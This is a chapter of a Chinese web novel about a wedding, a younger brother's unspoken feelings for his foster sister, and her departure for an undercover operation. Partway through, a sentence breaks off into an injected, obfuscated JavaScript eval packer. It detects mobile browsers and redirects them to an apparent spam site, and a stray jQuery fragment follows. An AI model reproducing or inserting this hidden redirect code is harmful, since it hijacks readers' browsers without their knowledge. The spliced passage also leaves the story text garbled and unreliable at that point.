为了配合明媚挑选的银灰色婚纱,简易最终买了一件银蓝色的暗调简约伴娘服。
没什么装饰,版型也很简单,正适合在婚礼上衬托新娘这朵鲜花。
除简易之外,明媚还邀请了几位和自己交好的好姐妹做伴娘。
但她的地位最为特殊——她被授予了挽着手腕走花路的重要职责。
听到明媚的建议,简易直呼好家伙。
她这一辈子给万古青又当爹又当妈还当姐姐的,没想到先给比自己大的姐姐在婚礼上充当了父亲的角色。
一码归一码。当真的到节骨眼上,简易还是十分紧张激动的。
她坐在亲属这一桌,听婚礼司仪念开场白。
“今天,我们欢聚在一起,共同见证一段美好爱情的开花结果。”
“首先,请允许我代表新娘新郎,向每一位到场的来宾表示热烈欢迎!”
台下响起一阵热烈的欢呼与掌声。
来参加婚礼的,简易基本上都认识,有的还是老交情了。伴娘是明媚的好姐们,伴郎就是邹应龙的好哥们……
……她得看着这群臭小子,确保他们不惹祸才行。
“接下来,让我们用最热烈的掌声,邀请新郎邹应龙先生入场!”
宾客们爆发出了更加尖锐的鸣叫。
……好吵。
简易面无表情地捂住了耳朵,看了一眼坐在旁边一动不动的万古青,转而去堵住了他的。
万古青困惑地偏了偏头,眼底的疑问纯粹而不含杂质。
别问,问就是姐姐宠你。
新郎站定后,就该新娘入场了。
简易站起身,提起裙摆,小跑到等候在一旁的明媚,挽上她的胳膊。
明媚今天可谓是大变样。她身上那份凌厉消失了,取而代之的是柔和与明净,从带毒的罂粟变成了纯洁的小白花。
当然,是装的。
简易:得了一种一看到明媚装纯就心慌的病。
开玩笑的。
简易附在明媚耳畔,低声打趣:“怎么样?是不是快把那小子迷死了?”
明媚笑着,避而不谈:“婚礼嘛,偶尔改变一下自己未尝不可。你能来做伴娘,帮我完成交接仪式,我真的很高兴。”
“客气啥,你可是我手下的一姐,待遇特殊点是应该的。”
明媚的父母早已逝去。从前,她从未考虑过婚礼上要由谁来承担起父亲的责任。
而在真正需要考虑的时候,她也没有多苦恼。
她含笑放下简易的手,与她五指相握。
不是谁依靠谁,不是谁仰赖谁。
是一个女人,手牵着手,送另一个志趣相投的女人,走向了幸福的殿堂。
万古青在台下坐着,目光却极少在新娘身上停留,而是一瞬不瞬地盯着简易的身影。
新郎和新娘看起来很幸福。
今天,婚礼的主角不是简易。但未来呢?
她总有一天,会找到自己喜欢的人吧?
万古青不愿意那么想。
他明明渴望姐姐得到幸福,却又害怕出现一个人,打破了现在的生活模式,夺走了简易的目光。
他……离不开简易。
少年垂下眼,将眼底的晦暗情绪融化在夜色里。
一只手温柔地搭在他的肩头。
“累了吗?小青?”
万古青仰脸,摇了摇头。
“是吗?”简易没有多问。她坐会位置上,托着下巴,欣慰地看着台上的两人,“他们看着很幸福,是不是?”
不知想到了什么,万古青的脸色忽然变白了。他轻微点头,闷闷地嗯了一声。
“这两人早有苗头了,我一直很看好呢。”简易给自己倒了杯酒,“有时候,没有父母也不见得是件坏事。像他俩,年龄差距那么大,一般父母肯定会拼了命地阻挠。”
万古青一怔:“年龄?”
简易点头:“对啊,是姐弟恋。明媚大了邹应龙六岁呢。”
“……”
万古青彻底一言不发了。
“不过,她们幸福比什么都重要。”
简易喝了口红酒,抿唇笑了:“等再过几年,姐姐就能看到你结婚啦。一定要擦亮眼睛,选择一个你爱的也爱你的人喔。”
“……嗯。”
万古青避开简易温柔的目光。
这是他第一次觉得,那双温柔似水的眼眸里,盛满了天真的残忍。
婚宴结束,喝了酒的简易只能打车回家。
她醉醺醺地傻笑着,脸颊贴着冰凉的车窗,嘴里念念有词:“真好啊……你们能够休息了……”
万古青唤了她几声,确定她睡过去了之后,犹豫片刻,伸手捞过肩膀,让她枕在自己的肩上。
少年的肩胛骨不再和以前一样弱不禁风。现在,他已经能给予宿醉的人一方安宁的小天地。
但他不知道,简易其实一直清醒着。
她怎么可能在小孩面前过度饮酒呢?
简易想观察万古青的反应。
试穿婚纱那天,明媚说的话仍旧清晰:“实话跟我说,你真的没察觉到弟弟的心意?据我所知,你可不是这么迟钝的人。
“在同一屋檐下朝夕相处,很难不产生情愫。但他的感情……在我看来,已经完全超越了青春期情感萌芽的程度。
“是很沉重的爱呢,简易。”
怎么可能没有察觉到。
简昂来的时候,也提到过,“那可不是看姐姐该有的眼神”。
简易与万古青离得最近。外人都能看出来的事情,她怎么可能看不出来。
但她宁愿那是一场梦,自欺欺人地告诉自己,那只是弟弟对姐姐的依赖,是对家人的爱。
哪怕面对明媚,她也这么说了。
“我只把小青当作弟弟。”
“那他呢?你确定他只把你当作姐姐吗?”
明媚抬手指着一件婚纱,扬了扬下巴,说:“喏,穿上试试看吧。我去把小弟弟叫过来。
“任何一个男人,都无法在看到喜欢的人穿着婚纱是无动于衷。”
简易照做了。
她装作没有看到万古青红透的耳垂,让他帮忙拍照。
小孩就是小孩,根本学不会隐藏自己的情绪。
面对不容置辩的现实,简易迫于无奈,只好承认。
“好好想想怎么解决这个大麻烦吧。”明媚说。
解决?
最好的解决办法当然是谈恋爱,结婚,用血淋淋的现实告诉他,简易永远不可能选择他。
不过,这些都放在一边。
现在有比这更重要的事情。
邹应龙与明媚的婚礼当晚,徐泽凯在青云区发来消息。
【查河已经病逝。】
这也就意味着,能够收网了。
到这个关头,参与行动的不可能再是邹应龙和明媚这样的无关成员。
跟着简易忙碌了这么多年,李朗一事后,两人也算是功成身退。他们选择在栖身多年的蒲宁市举办婚礼,在离开之前,做
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618393|165435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个体面又盛大的告别。
简易已经为他们铺好了后路。参与最终行动的所有人,全部都是训练有素的精锐,争取一举拿下。
只许成功,不许失败。
她在深夜,离开了家中。
早晨,万古青一如既往地起了个大早。他背着窗外雾蒙蒙的夜色,进入厨房开始忙碌起来。
姐姐昨晚喝多了,早上要吃点清爽的才行。
衡量之下,他选择了红豆燕麦奶和土豆丝煎蛋饼。
做早餐很花时间,但他十分乐意挤出这一个小时来为姐姐制造一点微不足道的快乐。
这是他现在,为数不多能够做的事情。
热腾腾的早餐端上桌,万古青赶忙去敲简易的卧室门。
“姐姐,该起床了,早饭已经做好了。”
没有回应。
万古青又敲了几下门,有些担心,握住门把手又顾忌着不敢转动。
直到拿起手机打算给简易打电话叫醒,他才看到一条凌晨发送的信息。
【简易:临时有工作,不用管我,你自己好好生活。】
【简易:可能很长时间都不会回来了。】
万古青难掩心底的失落。他蜷了蜷手指,把委屈的心情全部压下,故作轻松地回复——
【万古青:好,我知道了。注意安全,姐姐。】
总是这样。她总是很忙。
万古青望向餐桌上还冒着热气的早餐,叹了口气。
可惜了。
下次再做给姐姐吃吧。
他坐回桌边,一个人安静地享用完了早餐。
简易看到这一幕时,正在前往任务地点的路上。
她关掉监控,撑着脸思索。
查河一死,青云区一定会混乱好一阵子。徐泽凯会趁乱想办法爬上最高位置,让掌权人看到他的实力和价值,成为下一任区长。
徐泽凯与行事冒进张扬的简易不同,一直在兢兢业业做卧底,是做了这么多年慢慢爬上去的,掌权人对他应该会多一些信任。
而简易……先是经过同意解决了钱文东,后又因为吴俊重创了李朗,之前还直接把李朗给解决了,想不怀疑都难。
但奇怪的是,简易都这么蹦跶了,掌权人竟然从未真正动怒过。
像是早就知道她要做什么,并且十分纵容。
简易不明白,这份从容究竟从何而来。
他手下除了沈亮以外,基本已经没人了,却还是按兵不动,没有动手做些什么。
一定还有后招。
这一后招能确保地下在最危险的时候绝地翻盘,瞬间化劣势为优势,根除掉他们多年来种下的所有棋子。
思来想去,这么一劳永逸的办法只有……
简易抬头,朝遥远的彼方看去。
……出卖。
蒲宁市的地理位置十分特殊,同时与AB两国接壤。因为这个特性,它才会长久以来都是三不管地带,是一块难啃的硬骨头。
地下的枪械,基本都是靠走私得来的。
夏国禁枪支,但AB两国可不禁。想从外国商人手里拿到军火,十分容易。
这也是蒲宁市这块骨头最难啃的地方。
考虑到这一点,上头成立专项任务行动组时,特地提供了许多精良装备。
当然,能和平解决最佳。
不出意外的话,她的领导已经在和AB两国的领导人进行面谈交涉了。
只要能断了背后的供给,就不愁把他们逼到绝路,然后一网打尽。